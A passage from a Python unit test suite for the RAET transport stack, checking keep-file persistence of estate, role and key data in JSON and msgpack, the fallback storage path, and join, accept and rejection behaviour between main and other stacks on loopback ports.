None, 'fqdn': python_fqdn, 'dyned': None, 'sid': 0, 'main': False, 'kind': 0, 'joined': None, 'acceptance': None, 'verhex': other2Data['verhex'], 'pubhex': other2Data['pubhex'], 'role': other2Data['name'],} } self.assertDictEqual(remoteKeepData, validRemoteKeepData) # stack method stack.removeAllRemotes(clear=False) stack.restoreRemotes() remoteKeepData = odict() for remote in stack.remotes.values(): remoteKeepData[remote.name] = odict([ ('name', remote.name), ('uid', remote.uid), ('fuid', remote.fuid), ('ha', list(remote.ha)), ('iha', remote.iha), ('natted', remote.natted), ('fqdn', remote.fqdn), ('dyned', remote.dyned), ('sid', remote.sid), ('main', remote.main), ('kind', remote.kind), ('joined', remote.joined), ('role', remote.role), ('acceptance', remote.acceptance), ('verhex', str(remote.verfer.keyhex.decode('ISO-8859-1'))), ('pubhex', str(remote.pubber.keyhex.decode('ISO-8859-1'))), ]) self.assertDictEqual(remoteKeepData, validRemoteKeepData) stack.server.close() # bootstrap new stack from stored keep data stack = stacking.RoadStack(name=mainData['name'], auto=mainData['auto'], dirpath=mainData['dirpath'], store=self.store) localKeepData = odict([ ('name', stack.local.name), ('uid', stack.local.uid), ('ha', list(stack.local.ha)), ('iha', stack.local.iha), ('natted', stack.local.natted), ('fqdn', stack.local.fqdn), ('dyned', stack.local.dyned), ('sid', stack.local.sid), ('puid', stack.puid), ('aha', list(stack.ha)), ('role', stack.local.role), ('sighex', str(stack.local.signer.keyhex.decode('ISO-8859-1'))), ('prihex', str(stack.local.priver.keyhex.decode('ISO-8859-1'))), ]) console.terse("Local keep data = '{0}'\n".format(localKeepData)) self.assertDictEqual(localKeepData, validLocalKeepData) remoteKeepData = odict() for remote in stack.remotes.values(): remoteKeepData[remote.name] = odict([ ('name', remote.name), ('uid', remote.uid), ('fuid', remote.fuid), ('ha', list(remote.ha)), ('iha', remote.iha), ('natted', remote.natted), ('fqdn', remote.fqdn), ('dyned', remote.dyned), ('sid', remote.sid), ('main', remote.main), ('kind', remote.kind), ('joined', remote.joined), ('role', remote.role), ('acceptance', remote.acceptance), ('verhex', str(remote.verfer.keyhex.decode('ISO-8859-1'))), ('pubhex', str(remote.pubber.keyhex.decode('ISO-8859-1'))), ]) validRemoteKeepData[remote.name]['sid'] += 1 #increments on stack load self.assertDictEqual(remoteKeepData, validRemoteKeepData) stack.server.close() stack.clearAllKeeps() def testBasicMsgpack(self): ''' Basic keep setup for stack keep persistence load and dump with msgpack ''' console.terse("{0}\n".format(self.testBasicMsgpack.__doc__)) auto = raeting.AutoMode.once.value mainData = self.createRoadData(name='main', base=self.base, auto=auto) keeping.clearAllKeep(mainData['dirpath']) keeping.RoadKeep.Ext = 'msgpack' stack = self.createRoadStack(data=mainData, main=True, ha=None) #default ha is ("", raeting.RAET_PORT) #console.terse("{0} keep dirpath = {1}\n".format(stack.name, stack.keep.dirpath)) self.assertTrue(stack.keep.dirpath.endswith(os.path.join('road','keep','main'))) self.assertTrue(stack.keep.localfilepath.endswith(os.path.join('road','keep','main','local','estate.msgpack'))) self.assertTrue(stack.keep.localrolepath.endswith(os.path.join('road','keep','main','role','local','role.msgpack'))) self.assertTrue(stack.ha, ("0.0.0.0", raeting.RAET_PORT)) # test round trip stack.clearLocalKeep() stack.clearRemoteKeeps() stack.clearLocalRoleKeep() stack.clearRemoteRoleKeeps() stack.dumpLocal() stack.dumpRemotes() self.assertTrue(os.path.exists(stack.keep.localfilepath)) self.assertTrue(os.path.exists(stack.keep.localrolepath)) self.assertTrue(os.path.exists(stack.keep.localdirpath)) self.assertTrue(os.path.exists(stack.keep.remotedirpath)) self.assertTrue(os.path.exists(stack.keep.remoteroledirpath)) localKeepData = stack.keep.loadLocalData() python_fqdn = socket.getfqdn('127.0.0.1') console.terse("Local keep data = '{0}'\n".format(localKeepData)) validLocalKeepData = odict([ ('name', mainData['name']), ('uid', 1), ('ha', ['127.0.0.1', 7530]), ('iha', None), ('natted', None), ('fqdn', python_fqdn), ('dyned', None), ('sid', 0), ('puid', 1), ('aha', ['0.0.0.0', 7530]), ('role', mainData['name']), ('sighex', mainData['sighex']), ('prihex', mainData['prihex']), ]) self.assertDictEqual(localKeepData, validLocalKeepData) remoteKeepData = stack.keep.loadAllRemoteData() console.terse("Remote keep data = '{0}'\n".format(remoteKeepData)) self.assertDictEqual(remoteKeepData, {}) # test round trip with stack methods stack.restoreLocal() localKeepData = odict([ ('name', stack.local.name), ('uid', stack.local.uid), ('ha', list(stack.local.ha)), ('iha', stack.local.iha), ('natted', stack.local.natted), ('fqdn', stack.local.fqdn), ('dyned', stack.local.dyned), ('sid', stack.local.sid), ('puid', stack.puid), ('aha', list(stack.ha)), ('role', stack.local.role), ('sighex', str(stack.local.signer.keyhex.decode('ISO-8859-1'))), ('prihex', str(stack.local.priver.keyhex.decode('ISO-8859-1'))), ]) self.assertDictEqual(localKeepData, validLocalKeepData) stack.removeAllRemotes(clear=False) stack.restoreRemotes() self.assertDictEqual(stack.remotes, {}) # round trip with non empty remote data other1Data = self.createRoadData(name='other1', base=self.base) stack.addRemote(estating.RemoteEstate(stack=stack, name=other1Data['name'], ha=('127.0.0.1', 7531), verkey=other1Data['verhex'], pubkey=other1Data['pubhex'])) other2Data = self.createRoadData(name='other2', base=self.base) stack.addRemote(estating.RemoteEstate(stack=stack, name=other2Data['name'], ha=('127.0.0.1', 7532), verkey=other2Data['verhex'], pubkey=other2Data['pubhex'])) self.assertEqual(len(stack.remotes), len(stack.nameRemotes)) for uid, remote in stack.remotes.items(): self.assertEqual(stack.nameRemotes[remote.name], remote) self.assertEqual(stack.uidRemotes[remote.uid], remote) stack.dumpRemotes() self.assertTrue(os.path.exists(os.path.join(stack.keep.remotedirpath, "{0}.{1}.{2}".format(stack.keep.prefix, other1Data['name'], stack.keep.ext)))) self.assertTrue(os.path.exists(os.path.join(stack.keep.remotedirpath, "{0}.{1}.{2}".format(stack.keep.prefix, other2Data['name'], stack.keep.ext)))) self.assertTrue(os.path.exists(os.path.join(stack.keep.remoteroledirpath, "{0}.{1}.{2}".format('role', other1Data['name'], stack.keep.ext)))) self.assertTrue(os.path.exists(os.path.join(stack.keep.remoteroledirpath, "{0}.{1}.{2}".format('role', other2Data['name'], stack.keep.ext)))) for remote in stack.remotes.values(): path = os.path.join(stack.keep.remotedirpath, "{0}.{1}.{2}".format(stack.keep.prefix, remote.name, stack.keep.ext)) self.assertTrue(os.path.exists(path)) remoteKeepData = stack.keep.loadAllRemoteData() python_fqdn = socket.getfqdn('127.0.0.1') console.terse("Remote keep data = '{0}'\n".format(remoteKeepData)) validRemoteKeepData = { 'other1': {'name': other1Data['name'], 'uid': 2, 'fuid': 0, 'ha': ['127.0.0.1', 7531], 'iha': None, 'natted': None, 'fqdn': python_fqdn, 'dyned': None, 'sid': 0, 'main': False, 'kind': 0, 'joined': None, 'role': other1Data['name'], 'acceptance': None, 'verhex': other1Data['verhex'], 'pubhex': other1Data['pubhex'], }, 'other2': {'name': other2Data['name'], 'uid': 3, 'fuid': 0, 'ha': ['127.0.0.1', 7532], 'iha': None, 'natted': None, 'fqdn': python_fqdn, 'dyned': None, 'sid': 0, 'main': False, 'kind': 0, 'joined': None, 'role': other2Data['name'], 'acceptance': None, 'verhex': other2Data['verhex'], 'pubhex': other2Data['pubhex'], } } self.assertDictEqual(remoteKeepData, validRemoteKeepData) # stack method stack.removeAllRemotes(clear=False) stack.restoreRemotes() remoteKeepData = odict() for remote in stack.remotes.values(): remoteKeepData[remote.name] = odict([ ('name', remote.name), ('uid', remote.uid), ('fuid', remote.fuid), ('ha', list(remote.ha)), ('iha', remote.iha), ('natted', remote.natted), ('fqdn', remote.fqdn), ('dyned', remote.dyned), ('sid', remote.sid), ('main', remote.main), ('kind', remote.kind), ('joined', remote.joined), ('role', remote.role), ('acceptance', remote.acceptance), ('verhex', str(remote.verfer.keyhex.decode('ISO-8859-1'))), ('pubhex', str(remote.pubber.keyhex.decode('ISO-8859-1'))), ]) self.assertDictEqual(remoteKeepData, validRemoteKeepData) stack.server.close() # bootstrap new stack from stored keep data stack = stacking.RoadStack(name=mainData['name'], auto=mainData['auto'], dirpath=mainData['dirpath'], store=self.store) localKeepData = odict([ ('name', stack.local.name), ('uid', stack.local.uid), ('ha', list(stack.local.ha)), ('iha', stack.local.iha), ('natted', stack.local.natted), ('fqdn', stack.local.fqdn), ('dyned', stack.local.dyned), ('sid', stack.local.sid), ('puid', stack.puid), ('aha', list(stack.ha)), ('role', stack.local.role), ('sighex', str(stack.local.signer.keyhex.decode('ISO-8859-1'))), ('prihex', str(stack.local.priver.keyhex.decode('ISO-8859-1'))), ]) console.terse("Local keep data = '{0}'\n".format(localKeepData)) self.assertDictEqual(localKeepData, validLocalKeepData) remoteKeepData = odict() for remote in stack.remotes.values(): remoteKeepData[remote.name] = odict([ ('name', remote.name), ('uid', remote.uid), ('fuid', remote.fuid), ('ha', list(remote.ha)), ('iha', remote.iha), ('natted', remote.natted), ('fqdn', remote.fqdn), ('dyned', remote.dyned), ('sid', remote.sid), ('main', remote.main), ('kind', remote.kind), ('joined', remote.joined), ('role', remote.role), ('acceptance', remote.acceptance), ('verhex', str(remote.verfer.keyhex.decode('ISO-8859-1'))), ('pubhex', str(remote.pubber.keyhex.decode('ISO-8859-1'))), ]) validRemoteKeepData[remote.name]['sid'] += 1 #increments on stack load self.assertDictEqual(remoteKeepData, validRemoteKeepData) stack.server.close() stack.clearAllKeeps() def testAltDirpath(self): ''' Keep fallback path function when don't have permissions to directory fallback to ~user/.raet ''' console.terse("{0}\n".format(self.testAltDirpath.__doc__)) # Since Administrator/root has access to any regular directory even if it has read-only attribute set # (write flag unset), we have to use tricks to test it. # Here is assummed the following: # - drive '1:' never exists in Windows # - '/sys/' isn't writable ever for root, at least doesn't allow to create custom directories inside if sys.platform == 'win32': base = '1:\\' else: base = '/sys' # Ensure the directory isn't writable self.assertRaises(Exception, tempfile.mkdtemp, dir=base) auto = raeting.AutoMode.once.value data = self.createRoadData(name='main', base=base, auto=auto) keeping.clearAllKeep(data['dirpath']) stack = self.createRoadStack(data=data, main=True, ha=None) #default ha is ("", raeting.RAET_PORT) #console.terse("{0} keep dirpath = {1}\n".format(stack.name, stack.keep.dirpath)) self.assertIn(os.path.join('.raet','keep','main'), stack.keep.dirpath) self.assertEqual(stack.ha, ("0.0.0.0", raeting.RAET_PORT)) # test can write stack.clearLocalKeep() stack.clearRemoteKeeps() stack.clearLocalRoleKeep() stack.clearRemoteRoleKeeps() stack.dumpLocal() stack.dumpRemotes() stack.server.close() stack.clearAllKeeps() def testPending(self): ''' Test pending behavior when not auto accept by main ''' console.terse("{0}\n".format(self.testLostOtherKeep.__doc__)) auto = raeting.AutoMode.never.value #do not auto accept data = self.createRoadData(name='main', base=self.base, auto=auto) keeping.clearAllKeep(data['dirpath']) main = self.createRoadStack(data=data, main=True, ha=None) #default ha is ("", raeting.RAET_PORT) self.assertTrue(main.keep.dirpath.endswith(os.path.join('road','keep','main'))) self.assertEqual(main.ha, ("0.0.0.0", raeting.RAET_PORT)) data = self.createRoadData(name='other', base=self.base, auto=raeting.AutoMode.once.value) keeping.clearAllKeep(data['dirpath']) other = self.createRoadStack(data=data, main=None, ha=("", raeting.RAET_TEST_PORT)) self.assertTrue(other.keep.dirpath.endswith(os.path.join('road','keep','other'))) self.assertEqual(other.ha, ("0.0.0.0", raeting.RAET_TEST_PORT)) self.assertIs(main.keep.auto, raeting.AutoMode.never.value) self.join(other, main, duration=2.0) self.assertEqual(len(main.transactions), 1) remote = main.remotes.values()[0] self.assertIs(remote.joined, None) self.assertEqual(remote.acceptance, raeting.Acceptance.pending.value) self.assertEqual(len(other.transactions), 1) remote = other.remotes.values()[0] self.assertIs(remote.joined, None) self.assertEqual(remote.acceptance, None) for remote in main.remotes.values(): if remote.acceptance == raeting.Acceptance.pending: main.keep.acceptRemote(remote) self.service(main, other, duration=3.0) for stack in [main, other]: self.assertEqual(len(stack.transactions), 0) self.assertEqual(len(stack.remotes), 1) self.assertEqual(len(stack.nameRemotes), 1) remote = stack.remotes.values()[0] self.assertIs(remote.joined, True) self.assertIs(remote.allowed, None) self.assertEqual(remote.acceptance, raeting.Acceptance.accepted.value) self.allow(other, main) for stack in [main, other]: self.assertEqual(len(stack.transactions), 0) self.assertEqual(len(stack.remotes), 1) remote = stack.remotes.values()[0] self.assertIs(remote.joined, True) self.assertIs(remote.allowed, True) for stack in [main, other]: stack.server.close() stack.clearAllKeeps() def testPendingSavedKeep(self): ''' Test pending behavior when not auto accept by main with saved keep data ''' console.terse("{0}\n".format(self.testLostOtherKeep.__doc__)) auto = raeting.AutoMode.never.value #do not auto accept data = self.createRoadData(name='main', base=self.base, auto=auto) keeping.clearAllKeep(data['dirpath']) main = self.createRoadStack(data=data, main=True, ha=None) #default ha is ("", raeting.RAET_PORT) self.assertTrue(main.keep.dirpath.endswith(os.path.join('road','keep','main'))) self.assertEqual(main.ha, ("0.0.0.0", raeting.RAET_PORT)) data = self.createRoadData(name='other', base=self.base, auto=raeting.AutoMode.once.value) keeping.clearAllKeep(data['dirpath']) savedOtherData = data other = self.createRoadStack(data=data, main=None, ha=("", raeting.RAET_TEST_PORT)) self.assertTrue(other.keep.dirpath.endswith(os.path.join('road','keep','other'))) self.assertEqual(other.ha, ("0.0.0.0", raeting.RAET_TEST_PORT)) self.assertIs(main.keep.auto, raeting.AutoMode.never.value) self.assertEqual(other.local.role, 'other') self.assertEqual(main.local.role, 'main') self.join(other, main, duration=2.0) self.assertEqual(len(main.transactions), 1) remote = main.remotes.values()[0] self.assertIs(remote.joined, None) self.assertEqual(remote.acceptance, raeting.Acceptance.pending.value) self.assertEqual(len(other.transactions), 1) remote = other.remotes.values()[0] self.assertIs(remote.joined, None) self.assertEqual(remote.acceptance, None) #remove transactions remote = main.remotes.values()[0] for index in remote.transactions: remote.removeTransaction(index) remote = other.remotes.values()[0] for index in remote.transactions: remote.removeTransaction(index) # now accept remote role that was pended for remote in main.remotes.values(): if remote.acceptance == raeting.Acceptance.pending: main.keep.acceptRemote(remote) #now remove andreload from keep data main.removeAllRemotes(clear=False) main.restoreRemotes() main.restoreLocal() other.removeAllRemotes(clear=False) other.restoreRemotes() other.restoreLocal() # because main remote was pended it was dumped self.assertEqual(len(main.remotes), 1) remote = main.remotes.values()[0] self.assertIs(remote.acceptance, raeting.Acceptance.accepted.value) # role data for remotes role (other) roleData = main.keep.loadRemoteRoleData(other.local.role) self.assertIs(roleData['acceptance'], raeting.Acceptance.accepted.value) self.join(other, main, duration=5.0) for stack in [main, other]: self.assertEqual(len(stack.transactions), 0) self.assertEqual(len(stack.remotes), 1) remote = stack.remotes.values()[0] self.assertIs(remote.joined, True) self.assertIs(remote.allowed, None) self.assertEqual(remote.acceptance, raeting.Acceptance.accepted.value) self.allow(other, main) for stack in [main, other]: self.assertEqual(len(stack.transactions), 0) self.assertEqual(len(stack.remotes), 1) remote = stack.remotes.values()[0] self.assertIs(remote.joined, True) self.assertIs(remote.allowed, True) # now change name of other to see rejected on imutable road other.local.name = "whowho" self.join(other, main, duration=5.0) # main still has remote from prior join unchanged self.assertEqual(len(main.transactions), 0) self.assertEqual(len(main.remotes), 1) remote = main.remotes.values()[0] self.assertTrue(remote.joined) self.assertEqual(remote.acceptance, raeting.Acceptance.accepted.value) self.assertEqual(remote.name, 'other') # not whowho # other has no remotes self.assertEqual(len(other.transactions), 0) self.assertEqual(len(other.remotes), 0) # since rejected # but role of main on other from previous join still ok roleData = other.keep.loadRemoteRoleData(main.local.role) self.assertIs(roleData['acceptance'], raeting.Acceptance.accepted.value) # change main to mutable and retry main.mutable = True self.join(other, main, duration=5.0) # main now has original and a new remote with new name self.assertEqual(len(main.transactions), 0) self.assertEqual(len(main.remotes), 2) remote = main.remotes[3] self.assertTrue(remote.joined) self.assertEqual(remote.acceptance, raeting.Acceptance.accepted.value) self.assertEqual(remote.name, 'whowho') self.assertEqual(len(other.transactions), 0) remote = other.remotes.values()[0] self.assertTrue(remote.joined) self.assertEqual(remote.acceptance, raeting.Acceptance.accepted.value) self.allow(other, main, other.remotes.values()[0].uid) self.assertEqual(len(main.transactions), 0) remote = main.remotes[3] self.assertTrue(remote.allowed) self.assertEqual(len(other.transactions), 0) remote = other.remotes.values()[0] self.assertTrue(remote.allowed) # now change ha and unset unmutable main.mutable = None other.server.close() time.sleep(1.0) other.clearLocalKeep() data = savedOtherData # local keep will be there so it uses that data other = self.createRoadStack(data=data, ha=("0.0.0.0", 7533), main=None,) self.assertEqual(other.ha, ("0.0.0.0", 7533)) self.assertEqual(other.local.ha, ("127.0.0.1", 7533)) self.assertEqual(len(main.remotes), 2) self.assertEqual(len(other.remotes), 1) self.join(other, main, duration=5.0) # old remote still there but ha unchanged self.assertEqual(len(main.transactions), 0) remote = main.remotes[3] self.assertTrue(remote.joined) self.assertEqual(remote.acceptance, raeting.Acceptance.accepted.value) self.assertEqual(remote.name, 'whowho') self.assertEqual(remote.ha, ('127.0.0.1', 7531)) # other remote deleted since rejected self.assertEqual(len(other.transactions), 0) self.assertEqual(len(other.remotes), 0) # change main to mutable and retry main.mutable = True other.server.close() other.clearLocalKeep() other.clearRemoteKeeps() other.clearLocalRoleKeep() other.clearRemoteRoleKeeps() data = savedOtherData other = self.createRoadStack(data=data, main=None, ha=("", 7533)) self.assertEqual(other.local.ha, ("127.0.0.1", 7533)) other.local.name = "whowho" self.join(other, main, duration=5.0) # should reuse previous remote named whowho and update ha self.assertEqual(len(main.transactions), 0) remote = main.remotes[3] self.assertTrue(remote.joined) self.assertEqual(remote.acceptance, raeting.Acceptance.accepted.value) self.assertEqual(remote.name, 'whowho') self.assertEqual(remote.ha, ('127.0.0.1', 7533)) self.assertEqual(len(other.transactions), 0) remote = other.remotes.values()[0] self.assertTrue(remote.joined) self.assertEqual(remote.acceptance, raeting.Acceptance.accepted.value) self.allow(other, main) self.assertEqual(len(main.transactions), 0) remote = main.remotes[3] self.assertTrue(remote.allowed) self.assertEqual(len(other.transactions), 0) remote = other.remotes.values()[0] self.assertTrue(remote.allowed) for stack in [main, other]: stack.server.close() stack.clearAllKeeps() def testRejoin(self): ''' Test rejoin after successful join with saved keys for both ''' console.terse("{0}\n".format(self.testRejoin.__doc__)) auto = raeting.AutoMode.once.value data = self.createRoadData(name='main', base=self.base, auto=auto) mainDirpath = data['dirpath'] keeping.clearAllKeep(data['dirpath']) main = self.createRoadStack(data=data, main=True, ha=None) #default ha is ("", raeting.RAET_PORT) self.assertTrue(main.keep.dirpath.endswith(os.path.join('road','keep','main'))) self.assertEqual(main.ha, ("0.0.0.0", raeting.RAET_PORT)) self.assertEqual(main.name, 'main') self.assertEqual(main.local.name, main.name) data = self.createRoadData(name='other', base=self.base, auto=raeting.AutoMode.once.value) otherDirpath = data['dirpath'] keeping.clearAllKeep(data['dirpath']) other = self.createRoadStack(data=data, main=None, ha=("", raeting.RAET_TEST_PORT)) self.assertTrue(other.keep.dirpath.endswith(os.path.join('road','keep','other'))) self.assertEqual(other.ha, ("0.0.0.0", raeting.RAET_TEST_PORT)) self.assertEqual(other.name, 'other') self.assertEqual(other.local.name, other.name) self.assertIs(main.keep.auto, raeting.AutoMode.once.value) self.join(other, main) for stack in [main, other]: self.assertEqual(len(stack.transactions), 0) self.assertEqual(len(stack.remotes), 1) remote = stack.remotes.values()[0] self.assertIs(remote.joined, True) self.assertIs(remote.allowed, None) self.allow(other, main) for stack in [main, other]: self.assertEqual(len(stack.transactions), 0) self.assertEqual(len(stack.remotes), 1) remote = stack.remotes.values()[0] self.assertIs(remote.joined, True) self.assertIs(remote.allowed, True) #now close down and reload data main.server.close() other.server.close() # make new stacks with saved data main = stacking.RoadStack(dirpath=mainDirpath, store=self.store, main=True, auto=raeting.AutoMode.once.value) other = stacking.RoadStack(dirpath=otherDirpath, store=self.store, auto=raeting.AutoMode.once.value) # attempt to join to main with main auto accept enabled self.assertEqual(other.name, 'other') self.assertEqual(other.local.name, other.name) self.assertEqual(main.name, 'main') self.assertEqual(main.local.name, main.name) self.assertIs(main.keep.auto, raeting.AutoMode.once.value) self.assertIs(other.keep.auto, raeting.AutoMode.once.value) self.join(other, main) for stack in [main, other]: self.assertEqual(len(stack.transactions), 0) self.assertEqual(len(stack.remotes), 1) remote = stack.remotes.values()[0] self.assertIs(remote.joined, True) self.assertIs(remote.allowed, None) self.allow(other, main) for stack in [main, other]: self.assertEqual(len(stack.transactions), 0) self.assertEqual(len(stack.remotes), 1) remote = stack.remotes.values()[0] self.assertIs(remote.joined, True) self.assertIs(remote.allowed, True) #now close down and reload data main.server.close() other.server.close() # attempt to join to main with main auto accept disabled # make new stacks with saved data main = stacking.RoadStack(dirpath=mainDirpath, store=self.store, main=True, auto=raeting.AutoMode.never.value) other = stacking.RoadStack(dirpath=otherDirpath, store=self.store, auto=raeting.AutoMode.once.value) self.assertIs(main.keep.auto, raeting.AutoMode.never.value) self.assertIs(other.keep.auto, raeting.AutoMode.once.value) self.join(other, main) for stack in [main, other]: self.assertEqual(len(stack.transactions), 0) self.assertEqual(len(stack.remotes), 1) remote = stack.remotes.values()[0] self.assertIs(remote.joined, True) self.assertIs(remote.allowed, None) self.allow(other, main) for stack in [main, other]: self.assertEqual(len(stack.transactions), 0) self.assertEqual(len(stack.remotes), 1) remote = stack.remotes.values()[0] self.assertIs(remote.joined, True) self.assertIs(remote.allowed, True) for stack in [main, other]: stack.server.close() stack.clearAllKeeps() def testRejoinFromMain(self): ''' Test rejoin after successful join with saved keys for both initiated by main ''' console.terse("{0}\n".format(self.testRejoinFromMain.__doc__)) auto = raeting.AutoMode.once.value data = self.createRoadData(name='main', base=self.base, auto=auto) mainDirpath = data['dirpath'] keeping.clearAllKeep(data['dirpath']) main = self.createRoadStack(data=data, main=True, ha=None) #default ha is ("", raeting.RAET_PORT) self.assertTrue(main.keep.dirpath.endswith(os.path.join('road','keep','main'))) self.assertEqual(main.ha, ("0.0.0.0", raeting.RAET_PORT)) self.assertEqual(main.name, 'main') self.assertEqual(main.local.name, main.name) data = self.createRoadData(name='other', base=self.base, auto=raeting.AutoMode.once.value) otherDirpath = data['dirpath'] keeping.clearAllKeep(data['dirpath']) other = self.createRoadStack(data=data, main=None, ha=("", raeting.RAET_TEST_PORT)) self.assertTrue(other.keep.dirpath.endswith(os.path.join('road','keep','other'))) self.assertEqual(other.ha, ("0.0.0.0", raeting.RAET_TEST_PORT)) self.assertEqual(other.name, 'other') self.assertEqual(other.local.name, other.name) self.assertIs(main.keep.auto, raeting.AutoMode.once.value) self.join(other, main) self.assertEqual(len(main.transactions), 0) remote = main.remotes.values()[0] self.assertTrue(remote.joined) self.assertEqual(len(other.transactions), 0) remote = other.remotes.values()[0] self.assertTrue(remote.joined) self.allow(other, main) self.assertEqual(len(main.transactions), 0) remote = main.remotes.values()[0] self.assertTrue(remote.allowed) self.assertEqual(len(other.transactions), 0) remote = other.remotes.values()[0] self.assertTrue(remote.allowed) #now close down and reload data main.server.close() other.server.close() # make new stacks with saved data main = stacking.RoadStack(dirpath=mainDirpath, store=self.store, main=True, auto=raeting.AutoMode.once.value) other = stacking.RoadStack(dirpath=otherDirpath, store=self.store) # attempt to join to other self.assertEqual(other.name, 'other') self.assertEqual(other.local.name, other.name) self.assertEqual(main.name, 'main') self.assertEqual(main.local.name, main.name) remote = main.remotes.values()[0] self.join(main, other, deid=remote.uid) for stack in [main, other]: self.assertEqual(len(stack.transactions), 0) self.assertEqual(len(stack.remotes), 1) remote = stack.remotes.values()[0] self.assertIs(remote.joined, True) self.assertIs(remote.allowed, None) self.allow(main, other) for stack in [main, other]: self.assertEqual(len(stack.transactions), 0) self.assertEqual(len(stack.remotes), 1) remote = stack.remotes.values()[0] self.assertIs(remote.joined, True) self.assertIs(remote.allowed, True) for stack in [main, other]: stack.server.close() stack.clearAllKeeps() def testLostOtherKeep(self): ''' Test rejection when other attempts to join with road data that are different from previous successful join ''' console.terse("{0}\n".format(self.testLostOtherKeep.__doc__)) auto = raeting.AutoMode.once.value data = self.createRoadData(name='main', base=self.base, auto=auto) keeping.clearAllKeep(data['dirpath']) main = self.createRoadStack(data=data, main=True, ha=None) #default ha is ("", raeting.RAET_PORT) self.assertTrue(main.keep.dirpath.endswith(os.path.join('road','keep','main'))) self.assertEqual(main.ha, ("0.0.0.0", raeting.RAET_PORT)) data = self.createRoadData(name='other', base=self.base, auto=raeting.AutoMode.once.value) savedOtherData = data keeping.clearAllKeep(data['dirpath']) other = self.createRoadStack(data=data, main=None, ha=("", raeting.RAET_TEST_PORT)) self.assertTrue(other.keep.dirpath.endswith(os.path.join('road','keep','other'))) self.assertEqual(other.ha, ("0.0.0.0", raeting.RAET_TEST_PORT)) self.assertIs(main.keep.auto, raeting.AutoMode.once.value) self.assertIs(main.mutable, None) self.join(other, main) for stack in [main, other]: self.assertEqual(len(stack.transactions), 0) self.assertEqual(len(stack.remotes), 1) remote = stack.remotes.values()[0] self.assertIs(remote.joined, True) self.assertIs(remote.allowed, None) self.allow(other, main) for stack in [main, other]: self.assertEqual(len(stack.transactions), 0) self.assertEqual(len(stack.remotes), 1) remote = stack.remotes.values()[0] self.assertIs(remote.joined, True) self.assertIs(remote.allowed, True) #now forget the other data for stack in [other]: stack.server.close() stack.clearAllKeeps() # reload with new data data = self.createRoadData(name='other', base=self.base, auto=raeting.AutoMode.once.value) other = self.createRoadStack(data=data, main=None, ha=("", raeting.RAET_TEST_PORT)) self.assertTrue(other.keep.dirpath.endswith(os.path.join('road','keep','other'))) self.assertEqual(other.ha, ("0.0.0.0", raeting.RAET_TEST_PORT)) # attempt to join to main with main auto accept enabled should reject self.assertIs(main.keep.auto, raeting.AutoMode.once.value) self.join(other, main) # main still rememebers join from before self.assertEqual(len(main.transactions), 0) remote = main.remotes.values()[0] self.assertIs(remote.joined, True) self.assertIs(remote.allowed, True) # other is rejected so no remote self.assertEqual(len(other.transactions), 0) self.assertEqual(len(other.remotes), 0) # now repeate with auto accept off but use old data # now forget the other data again for stack in [other]: stack.server.close() stack.clearAllKeeps() # reload with old data other = self.createRoadStack(data=savedOtherData, main=None, ha=("", raeting.RAET_TEST_PORT)) self.assertTrue(other.keep.dirpath.endswith(os.path.join('road','keep','other'))) self.assertEqual(other.ha, ("0.0.0.0", raeting.RAET_TEST_PORT)) # attempt to join to main with main auto accept disabled main.keep.auto = raeting.AutoMode.never.value # turn off auto accept self.assertIs(main.keep.auto, raeting.AutoMode.never.value) self.join(other, main, duration=2.0) for stack in [main, other]: self.assertEqual(len(stack.transactions), 0) self.assertEqual(len(stack.remotes), 1) remote = stack.remotes.values()[0] self.assertIs(remote.joined, True) self.allow(other, main) for stack in [main, other]: self.assertEqual(len(stack.transactions), 0) self.assertEqual(len(stack.remotes), 1) remote = stack.remotes.values()[0] self.assertIs(remote.joined, True) self.assertIs(remote.allowed, True) # now repeate with auto accept off but use new data # now forget the other data again for stack in [other]: stack.server.close() stack.clearAllKeeps() # reload with new data data = self.createRoadData(name='other', base=self.base, auto=raeting.AutoMode.once.value) other = self.createRoadStack(data=data, main=None, ha=("", raeting.RAET_TEST_PORT)) self.assertTrue(other.keep.dirpath.endswith(os.path.join('road','keep','other'))) self.assertEqual(other.ha, ("0.0.0.0", raeting.RAET_TEST_PORT)) # attempt to join to main with main auto accept disabled main.keep.auto = raeting.AutoMode.never.value # turn off auto accept self.assertIs(main.keep.auto, raeting.AutoMode.never.value) self.join(other, main, duration=2.0) self.assertEqual(len(main.transactions), 0) remote = main.remotes.values()[0] self.assertIs(remote.joined, True) # unlost other remote still there self.assertIs(remote.allowed, True) self.assertEqual(remote.acceptance, raeting.Acceptance.accepted.value) #unlost other remote still accepted self.assertEqual(len(other.transactions), 0) self.assertEqual(len(other.remotes), 0) # so try to send messages should fail mains = [odict(content="Hello other body")] others = [odict(content="Hello main body")] self.message(main, other, mains, others, duration=2.0) self.assertEqual(len(main.transactions), 1) #didn't abort since duration too short self.assertNotEqual(len(others), len(main.rxMsgs)) self.assertEqual(len(other.transactions), 0) self.assertNotEqual(len(mains), len(other.rxMsgs)) for stack in [main, other]: stack.server.close() stack.clearAllKeeps() def testLostOtherKeepLocal(self): ''' Test rejection when other attempts to join with local keys that are different from previous successful join ''' console.terse("{0}\n".format(self.testLostOtherKeepLocal.__doc__)) auto = raeting.AutoMode.once.value data = self.createRoadData(name='main', base=self.base, auto=auto) keeping.clearAllKeep(data['dirpath']) main = self.createRoadStack(data=data, main=True, mutable=None, ha=None) #default ha is ("", raeting.RAET_PORT) self.assertTrue(main.keep.dirpath.endswith(os.path.join('road','keep','main'))) self.assertEqual(main.ha, ("0.0.0.0", raeting.RAET_PORT)) data = self.createRoadData(name='other', base=self.base, auto=raeting.AutoMode.once.value) savedOtherData = data keeping.clearAllKeep(data['dirpath']) other = self.createRoadStack(data=data, main=None, ha=("", raeting.RAET_TEST_PORT)) self.assertTrue(other.keep.dirpath.endswith(os.path.join('road','keep','other'))) self.assertEqual(other.ha, ("0.0.0.0", raeting.RAET_TEST_PORT)) self.assertIs(main.keep.auto, raeting.AutoMode.once.value) self.assertIs(main.mutable, None) self.join(other, main) for stack in [main, other]: self.assertEqual(len(stack.transactions), 0) self.assertEqual(len(stack.remotes), 1) remote = stack.remotes.values()[0] self.assertIs(remote.joined, True) self.assertIs(remote.allowed, None) self.allow(other, main) for stack in [main, other]: self.assertEqual(len(stack.transactions), 0) self.assertEqual(len(stack.remotes), 1) remote = stack.remotes.values()[0] self.assertIs(remote.joined, True) self.assertIs(remote.allowed, True) # so try to send messages mains = [odict(content="Hello other body")] others = [odict(content="Hello main body")] self.message(main, other, mains, others, duration=3.0) self.assertEqual(len(main.transactions), 0) self.assertEqual(len(others), len(main.rxMsgs)) for i, msg in 